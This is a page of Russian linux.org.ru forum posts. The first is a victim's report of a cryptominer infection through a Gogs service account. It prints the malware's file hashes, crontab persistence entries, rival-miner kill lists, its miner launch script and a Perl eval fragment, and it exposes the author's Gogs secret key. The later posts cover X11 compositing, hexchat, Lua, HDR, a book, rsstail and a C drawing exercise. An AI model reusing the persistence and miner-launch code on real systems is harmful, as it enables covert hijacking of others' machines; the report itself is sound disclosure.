be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09  .configrc/a/bash.pid

1bc338f3ed46c8623a6a6e871d71a7641d7daa5494b2502523c21f1d5af097ada2c441bf12f222a3d61dc7169494693635ea14200faabae6993781c16167abac  .configrc/a/dir.dir

8ff2784f8437875a8b388d3f0d7eaf4b9d98c2374aafbd33df19f1255842889caf9bdafb55c5f9ac5e937624aae58fc1845134335916f79648e8a5d4de077d79  .configrc/a/init0

ede860bbec1a47a971a5bcfd024a9e338b2fdfe407df00b0cd0f4e436e3175d31f68964605b351abc3784d5c9046cd00189b7b3a82359cfeb1081b5d85cd6dda  .configrc/a/kswapd0

a7b00698bf4d74c154ea4fdc1b76eae4ca6319189d63354a77f2a813ae248d36b16154f6f3d7f9ae3d5fa84e882e7476b02f1870fde3f3251f3d4f4733cc0a22  .configrc/a/run

b8bc24b9ea7b26e18bb26c9b1887f600142d5f283f074d64db72a9fea551f754904b1c8e93cb58282eb08fec5b03730ab66351526567a39c78f57648af40bc3f  .configrc/a/stop

fdceef26293c927036bec874457fd8e7a7baa94188a8f8720aeed5e2041ee412eee8731a1df1ce17b5d35ed47e0c39828156db78af6e0134f4e7bcebf5557e7a  .configrc/a/upd
 
91da308e50e177c9b7df28d4feaf6d9a20593d997bdbde232110216b7d346a39197960f4d342d3b9a7498ed68018cd375cfab22245ec4d7ab03fcab56753d862  .configrc/a/.procs

95305080f1dc993c89dde01138a2b915e20201bf6bdd7595393708b72d2b75abd376ac0c4df53fc72e33555294cedf60f3c702ad72bb3f8d5d461c2e42f26da1  .configrc/b/1

21d49249ca656d3f6ce7a77876796590ae66d31963a6cdf65bb294ca45372e68686f8f7fd846035ed53f1155962447a8054bf2ea081e02fbb4b3fa1b6e376881  .configrc/b/a

a99d5a12ce0e3d4fe1b8606200376b239bfe668353a2402f45eccd61c33451a466f663fe0c5817b41c2e748f69f36dece3b1887a7f290b0e5375abc9c47c1dad  .configrc/b/dir.dir

0dc180b53574dce4de4160c54810a019edae1828f0cc6c1513a3dac7173833e41d19cc9a81b762136e37a7c578a43508f076a8fa9fc9ff919a0748f259d431fe  .configrc/b/run

cd1c489afdcd9a02a05401e803e238417e2421b7f43b93b25b882d2bd005ff2e4ae61f3bd47aaa5577d9c3573c34dfe7ee6801abdc16bfe38c70550c97358f2a  .configrc/b/stop

3b196433e2d0c57946d61512b004e14c46e1207d3de5a0dcbaa62966b98449c08c3074d29cf0211648a26db2298caa4af294c69dcd8ab4cf4ec16dda14d23bf0  .configrc/b/sync

Есть лог вот с таким сорержимым https://pastebin.com/5LyB7pP9

Внутри скриптов немного логики, определение процессора, много base64 строк, это бинарники которые скрипты восстанавливают если надо.

От пользователя отдельного этого запускался только gogs в автоматическом режиме, всё. Я считаю виноват гогс.

./gogs --version
Gogs version 0.11.53.0603
sha512sum ./gogs 
c7a5541cd03fdc69b12c714be32ba6d6e8fdad5af42b865a3cd1d333db6cba0130130399b6a8283dacab3794ff1b359e865fe47085633cb892d6119f6642603f  ./gogs

Хотел залить куда то вдруг кому покопать интересно, но в этом смысла нет, можно просто скачать нужную версию и проверить хеш, если совпало значит оно.

Конфиг был такой

APP_NAME = Gogs
RUN_USER = gogs
RUN_MODE = prod

[database]
DB_TYPE  = sqlite3
HOST     = 127.0.0.1:3306
NAME     = gogs
USER     = root
PASSWD   = 
SSL_MODE = disable
PATH     = /home/gogs/gogs/data/gogs.db

[repository]
ROOT = /home/gogs/gogs-repositories

[server]
DOMAIN           = localhost
HTTP_PORT        = 3000
ROOT_URL         = http://localhost:3000/
DISABLE_SSH      = false
SSH_PORT         = 22
START_SSH_SERVER = false
OFFLINE_MODE     = false

[mailer]
ENABLED = false

[service]
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL     = false
DISABLE_REGISTRATION   = true
ENABLE_CAPTCHA         = false
REQUIRE_SIGNIN_VIEW    = true

[picture]
DISABLE_GRAVATAR        = false
ENABLE_FEDERATED_AVATAR = false

[session]
PROVIDER = file

[log]
MODE      = file
LEVEL     = Info
ROOT_PATH = /home/gogs/gogs/log

[security]
INSTALL_LOCK = true
SECRET_KEY   = AHYsdf2GIsqRJkD

Собственно вот и всё. Можно ещё написать подробностей, но мне спать хоца. Гланое хеши выложил и основную инфу, кому надо смогут проверить нет ли у них такой параши.

Сравнил ещё через diff -qr никаких различий в gogs у меня и тут https://github.com/gogs/gogs/releases/tag/v0.11.53 linux_amd64.tar.gz нет. Не считая мною созданных файлов и иного созданного в процессе работы. Там я всё глазами проверил всё чисто.

Подытожу. Был скачан gogs настроен как в конфиге выше, для него был создан пользоваьтель gogs в домешнем каталоге которого и находился исполняемый файл, был написан юнит как на скрине выше который запускался при старте системы. Всё. До этого всё нормально было и работало, но после перезагрузки от пользователя gogs создались файлы и запустили майнер.

Скрипты я публиковатьк как сказал не буду что-бы мамкиным какерам не давать инструменты. Но скажу, оно прописывает пользоватю задачу в cron которая располагалась в /var/spool/cron/crontabs/gogs

1 1 */2 * * /home/gogs/.configrc/a/upd>/dev/null 2>&1
@reboot /home/gogs/.configrc/a/upd>/dev/null 2>&1
5 8 * * 1 /home/gogs/.configrc/b/sync>/dev/null 2>&1
@reboot /home/gogs/.configrc/b/sync>/dev/null 2>&1  
0 */23 * * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1

ОБРАТИТЕ ВНИМАНИЕ НА ПОСЛЕДНЮЮ СТРОЧКУ Если вы проверяете у себя.

В ./a/upd немного логики и запуск ./run и далее по цепочке, множество переходов вплоть до ./b где если сервер смотрит попой в мир с белым ip то всё, удалённый доступ есть по ключу. Но перед тем как запустится оно проверяте кучу майреров и пытается их убить лол )))))

Вон их скока всяких бывает


	killall \.Historys
	killall \.sshd
	killall neptune
	killall xm64
	killall xm32
	killall ld-linux
	killall xmrig
	killall \.xmrig
	killall suppoieup

	pkill -f sourplum
	pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
	
	ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "119.9.76.107:443"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ld-linux" | awk '{print $2}'|xargs kill -9

	ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
	ps auxf|grep Donald| awk '{print $2}'|xargs kill -9
	ps auxf|grep Macron| awk '{print $2}'|xargs kill -9
	ps auxf|grep ld-linux| awk '{print $2}'|xargs kill -9

	ps auxf|grep named| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
	ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9

	ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
	ps ax|grep -o './[0-9]* -c'| xargs pkill -f

	pkill -f /usr/bin/.sshd
	pkill -f acpid
	pkill -f Donald
	pkill -f Macron
	pkill -f AnXqV.yam
	pkill -f apaceha
	pkill -f askdljlqw
	pkill -f bashe
	pkill -f bashf
	pkill -f bashg
	pkill -f bashh
	pkill -f bashx
	pkill -f BI5zj
	pkill -f biosetjenkins
	pkill -f bonn.sh
	pkill -f bonns
	pkill -f conn.sh
	pkill -f conns
	pkill -f cryptonight
	pkill -f crypto-pool
	pkill -f ddg.2011
	pkill -f deamon
	pkill -f disk_genius
	pkill -f donns
	pkill -f Duck.sh
	pkill -f gddr
	pkill -f Guard.sh
	pkill -f i586
	pkill -f icb5o
	pkill -f ir29xc1
	pkill -f irqba2anc1
	pkill -f irqba5xnc1
	pkill -f irqbalanc1
	pkill -f irqbalance
	pkill -f irqbnc1
	pkill -f JnKihGjn
	pkill -f jweri
	pkill -f kw.sh
	pkill -f kworker34
	pkill -f kxjd
	pkill -f libapache
	pkill -f Loopback
	pkill -f lx26
	pkill -f mgwsl
	pkill -f minerd
	pkill -f minergate
	pkill -f minexmr
	pkill -f mixnerdx
	pkill -f mstxmr
	pkill -f nanoWatch
	pkill -f nopxi
	pkill -f NXLAi
	pkill -f performedl
	pkill -f polkitd
	pkill -f pro.sh
	pkill -f pythno
	pkill -f qW3xT.2
	pkill -f sourplum
	pkill -f stratum
	pkill -f sustes
	pkill -f wnTKYg
	pkill -f XbashY
	pkill -f XJnRj
	pkill -f xmrig
	pkill -f xmrigDaemon
	pkill -f xmrigMiner
	pkill -f ysaydh
	pkill -f zigw
	pkill -f ld-linux

И это ещё не всё, лол.

Оно даже по портам своих друзей по роду ищет

	netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 119.9.76.107 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 138.199.40.233:9137 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 185.150.117.29 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9

И только восле всех приготовлений, когда оно готово единолично майнить оно себя запускает

#!/bin/bash
./stop
./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
	if [ "$ARCH" == "i686" ]; then
		nohup ./anacron >>/dev/null & 
	elif [ "$ARCH" == "x86_64" ];   then
		./kswapd0
	fi
echo $! > bash.pid

К слову ./anacron у меня небыло.

Ещё оно содержит base64 строку которая декодируясь отдаётся в perl

eval unpack u=>q{_(R`@("`@("`@("`M($%D:6-I;VYA9&\@8V]M8 и так далее в этом виде дохрена перлоты

Всё. Я спать.

UPDATE3 АААААААААААААААААААААААААААААААААААААААААА

Я встал, а вдруг меня брутфорснули, короче смотрю сюда grep -in Accept /var/log/auth.log

И Уоооооооооопааааааанааааа

... 
25515:Sep 13 00:03:55 gnu sshd[250080]: Accepted password for gogs from 222.232.242.116 port 56529 ssh2
...

Чиииииииииииивоооооооооооооооо? Каким хером? Ай пи 222.232.242.116 South Korea🇰🇷 Seoul Seoul

Как оно пробралось? Вернее как он с внешнего ip ко мне в локалхост пришёл? Яж за провайдером? Или тут gogs мог подсобить туннель организовав? Я нихера не понял.

Судя по времени 00:03:55 коннект по ssh был до создания файлов 00∶31∶38.

UPDATE4: https://savepearlharbor.com/?p=296720

Я не первый https://savepearlharbor.com/?p=296720 GOGS тут походу не причём, меня просто каким то хером с внешнего ip хотя у меня мой динамический подконектились к моему пк. Лол.

Как? Я не догоняю и очень хочу спать. Оборудование провайдера похакано и оно во внутренней сети брутфорсит? Отпишите. А мне насрать я точно рпять спать. вСё.

 , , , ,

LINUX-ORG-RU
()

Нужно чинить иксы

Форум — Development

X11 robustness: DRI3 без аппаратного ускорения (комментарий)

Сабж

Судя по всему последний раз проблема поднималась в 2018, потом все как-то забыли - да и решения там были весьма сомнительные предлагались - копмозитинг предлагается вынести в иксы, тем самым прибив модульность

В общем, без композитинга всё работает как надо, present через damage вызывает fbCopyNtoN на экранную поверхность, present отрабатывает, пусть и с тирингом.

С композитингом же всё сильно хуже - present делает такое же копирование, но в поверхность окна, для которой работает composite redirect.

Без изменений в композиторе ничего сделать не выйдет - сейчас в протоколе composite композитор получает пиксмапу окна и ожидает что после damage event в ней будут актуальные данные. Это совершенно несовместимос с подходом dri3/present, который привязвает несколько пиксмап к окну и требует лишнего копирования.

Изначальная идея в present предполагала отправлять Notify в композитор. Вероятно от неё отказались т.к это неэффективно - иксы здесь занимаются перессылкой событий и fence между процессами.

В здесь целом напрашивается получение дескриптора для отправки событий композитору напрямую, но это тоже выглядит как какой-то костыль. Но в принципе, dri3 передаёт файловые дескрипторы текстур - почему он не может так же передавать дескрипторы некоего канала с композитором? Звучит как вполне разумное решение, которое будет полезно и для xwayland т.к можно будет передать контроль wayland-композитору напрямую, минуя процесс Xwayland

VK_KHR_swapchain помимо fence оперирует с семафорами. Может можно вообще timeline semaphore задействовать? Но в любом случае надо как-то передавать индекс буфера. Расширение протокола позволит задействовать все возможности Vulkan при условии поддержки композитором. Так же vulkan’овые объекты доступны и в opengl

В общем интересно, остались ли тут разбирающиеся в устройстве иксов и vulkan люди, может кто-нибудь может подкинуть идеи

Возможная идея, что можно пересылать в композитор: https://github.com/notpeelz/monado/blob/main/src/xrt/ipc/client/ipc_client_compositor.c#L737 (freedesktop gitlab опять лежит) Здесь есть 2 варианта функции - с семафорой (включая timeline) и просто с fence. Причём создаётся семафора довольно просто - в vulkan queue отправляется пустой Submit с семафорой, которая ожидается уже другим процессом. То есть даже какая-то дополнительная поддержка со стороны приложения не нужна - дальше вся синхронизация присходит прямо в gpu.

P.S дополнение, всем фанатам и просто пользователям Вяленного, набежавишим в тред. Современный графический стек, предполагающий на каждый чих использовать opengl на клиенте немного несовместим с современными GPU, которые могут потерять все контексты в любой момент на любой чих в шейдере в любом приоложении. И даже если сделать перезапуск композитора с переподключением - это нифига не поможет от падения всего десктопного софта, который вынужден рисоваться через opengl. Почему-то на windows есть GDI и там нет этой проблемы. В иксах же есть свой аналог GDI и потенциальная возможность свести все эти отказы к единой точке, которую устранить. Достаточно избавиться от glamor в сервере, можно даже попытаться переписать его на vulkan, добавив обработку потери контекста. Я сейчас категорически не могу рассматривать рендеринг всех десктопных приложений на клиентах через opengl т.к это создаёт огромные неудобства при gpu reset. Да, можно сделать софтовый wayland композитор и нечто похожее на мой костыльный патч в modesetting, но нормально решить проблему потери контекстов просто нельзя - в архитектуре это просто не предусмотренно. Так что можно хвалить wayland, он прекрасно справляется с медиазадачами вроде 3д десктопа в виртуальной реальности, но превращается в тыкву, когда GPU не может работать

 , , , ,

mittorn
()

Плагин перевода текста каналов/сообщений в hexchat

Форум — Desktop

Здравствуйте.

Захотел себе перевод в hexchat. Попробовал «штатный» google translate плагин (два питоновских файла, которые надо гексчату в /addons положить) - не взлетел, дополнительных команд не появилось. Другой какой-то попробовал - он компилировался-компилировался, да так и не выкомпилировался.

Реквестую истории успеха, если есть, в гугле результатов - с гулькин нос.

Спасибо за внимание.

 , , ,

piyavking
()

Новая статья: «Эволюция Lua, продолжение»

Форум — Development

Вышла вторая статья посвящённая эволюции развития языка Lua.

Анонс

Первая часть - 2007

Вторая часть - 2025

Я ещё не читал, кому интересно, почитайте :)

---- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
(function(v) local f f = function(v) print(v) return f end return f(v)  end)
----------------------------------------------------------------------------
                                "Lua"
                                "Это"
                               "Весело!"
                              "Полезно!"
                             "Интересно!"
----------------------------------------------------------------------------
                  string.format("%s","hello world!")
---- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --

Всем бобра. Досвиданья.

Перемещено hobbit из general

 , , ,

LINUX-ORG-RU
()

HDR в SDR играх

Форум — Games

Например в Windows 11 есть auto HDR для улучшения игр.
Есть ли подобное в Linux для opengl, vulkan, wine ..?

 

loglogav
()

Книга «История моей страны. Записки военного инженера-программиста»

Форум — Talks

В продаже появилась книга В.Н. Орлова «История моей страны. Записки военного инженера программиста».

Книга интересна тем, что её написал программист, который ступил на путь программирования в далёком 1971 году и остаётся активным программистом до сегодняшнего дня.

Особый интерес вызывает рассказ о том, как пробивали себе дорогу язык программирования Си и операционная система Unix. Значительная часть книги посвящена описанию событий, связанных с созданием вычислительных сетей, тому, что сегодня стало совсем обыденным и привычным, а тогда в 80-х об этом только мечтали и делали первые шаги.

Автор не только вспоминает, что и как было, но и показывает, как история сохраняется для будущих поколений, включая вычислительную технику периода СССР.

Интересны приложения в книге, среди которых нужно выделить Приложение 2 «Советские программы противодействия ПРО» (стр. 393-412). Фактически в нем изложено содержание по сути последней комплексной программы Советского Союза, в которой были расписаны основные этапы развития и вычислительной техники и космических систем различного назначения. К сожалению, это Программа была до конца не реализована, но один пункт был реализован - это полёт «Бурана».

Книга будет интересна не только тем, кто избрал себе нелёгкую, но интересную профессию программиста, но и всем, кому небезразлична история нашей страны.

Перемещено hobbit из russia

 , вычислительные сети, , ,

TclTk
()

Как получать RSS-уведомления LOR`a в терминале

Статьи — Desktop

Воспользуйтесь RSS и утилитой rsstail:

  • Установите программу, используя ваш менеджер пакетов, например:
sudo apt install rsstail #deb  based
sudo dnf install rsstail #rpm  based
  • Запустите получение уведомлений раз в 60 секунд и вы будете получать все уведомления пришедшие с момента старта программы.
rsstail -n 0 -i 60 -u "https://www.linux.org.ru/show-replies.jsp?output=rss&nick=ТУТ_ВАШ_НИК"

Не забудьте указать ваш ник в конце ссылки.

  • В дополнение вы можете выводить графическое уведомление:
rsstail -n 0 -i 60 -u "https://www.linux.org.ru/show-replies.jsp?output=rss&nick=ТУТ_ВАШ_НИК" | while 
   read message
   do notify-send "$message"
done

Или использовать любую другую обработку в зависимости от ваших желаний.
Всё вышеописанное подходит для любых каналов RSS, нужно лишь заменить ссылку. Частный пример ЛОР`a приведён как практически полезный пример.

В уведомлении можно получить ссылку,заголовок,содержание man rsstail

 , , , ,

LINUX-ORG-RU
()

Happy Programming. Eposode 0x01 - нарисуй слоника ::)

Форум — Talks

Давай повеселимся, реализуй и выложи код который будет рисовать слоника по приложенным данным на своём любимом языке программирования ::) Можно выбрать и не слоника, а другое.

Данные по которым нужно рисовать >>> ★ слоник ★★ бабочка ★★★ крабик ★★★★ лошадка ★★★★★ робот

Программист из меня никакой и в качестве примера я нарисовал слоника из параллельной вселенной, уж точно не из нашей. А сможешь ли ты , да да именно ты нарисовать слоника? Или слабо :D

UPDATE: Готовые реализации

>>> Language C => Dron★★★★
>>> Language Ruby => theNamelessOne ★★★★★
>>> Language Bash => ArcFi ★
>>> Language Python3 => unikoid ★★★
>>> Language Python + matplotlib => i-rinat ★★★★★
>>> Language javascript => arax ★
>>> Language javascript v2 => arax ★
elefan.c #моя стартовая инопланетнокривая версия

#include <stdio.h>

enum 
{
    UP,
    DOWN,
    LEFT,
    RIGHT
};

static int elefan[28][2] = {
 
     {RIGHT,2},{DOWN,6},{RIGHT,2},{UP,1},{RIGHT,1},{UP,1},
     {RIGHT,1},{UP,1},{RIGHT,4},{DOWN,1},{RIGHT,1},{DOWN,3},
     {RIGHT,7},{DOWN,1},{RIGHT,3},{DOWN,7},{LEFT,1},{DOWN,6},
     {LEFT,3},{UP,1},{LEFT,2},{UP,1},{LEFT,1},{UP,2},{LEFT,2},
     {UP,1},{LEFT,2},{UP,9}
 };

  static char surface [22][22]; 
  char dot = '@';
  char fon = '.';
  int pose_x =0;
  int pose_y =0;

int main(int argc, char *argv[])
{

/*create surface*/
for (int i = 0; i < 22; ++i) 
{
    for (int y = 0; y < 22; ++y) 
    {
        surface[i][y]=fon;
    };  
};
/*paint elefan*/
for (int i = 0; i < 28; i++)
{
    switch (elefan[i][0])
    {
        case UP:    pose_x-=elefan[i][1];
                    surface[pose_x][pose_y]=dot;
                    break;
        case DOWN:  pose_x+=elefan[i][1];
                    surface[pose_x][pose_y]=dot;
                    break;
        case LEFT:  pose_y-=elefan[i][1];
                    surface[pose_x][pose_y]=dot;
                    break;
        case RIGHT: pose_y+=elefan[i][1];
                    surface[pose_x][pose_y]=dot;
                    break;
        default:    break;
    };
}
/*print elefan*/
for (int i = 0; i < 22  ; i++)
{
       for(int y=0; y < 22; y++)
       {
            putchar(surface[i][y]);
            putchar(fon);//correct surface cube
            
       };
       putchar('\n');
}

    return 0;
}

result

dron@gnu:~$ gcc elefan.c -o elefan ; ./elefan
....@.......................................
............................................
............................................
............@.......@.......................
..........@.@.......@.@.....................
........@.@.................................
....@...@...................................
....................@.@.............@.......
....................................@.....@.
............................................
............................................
............................................
............................................
............................................
............................................
........................................@.@.
....................@...@...................
........................@...@...............
............................................
............................@.@.............
..............................@...@.........
..................................@.....@...
dron@gnu:~$ 

 , , , ,

Dron
()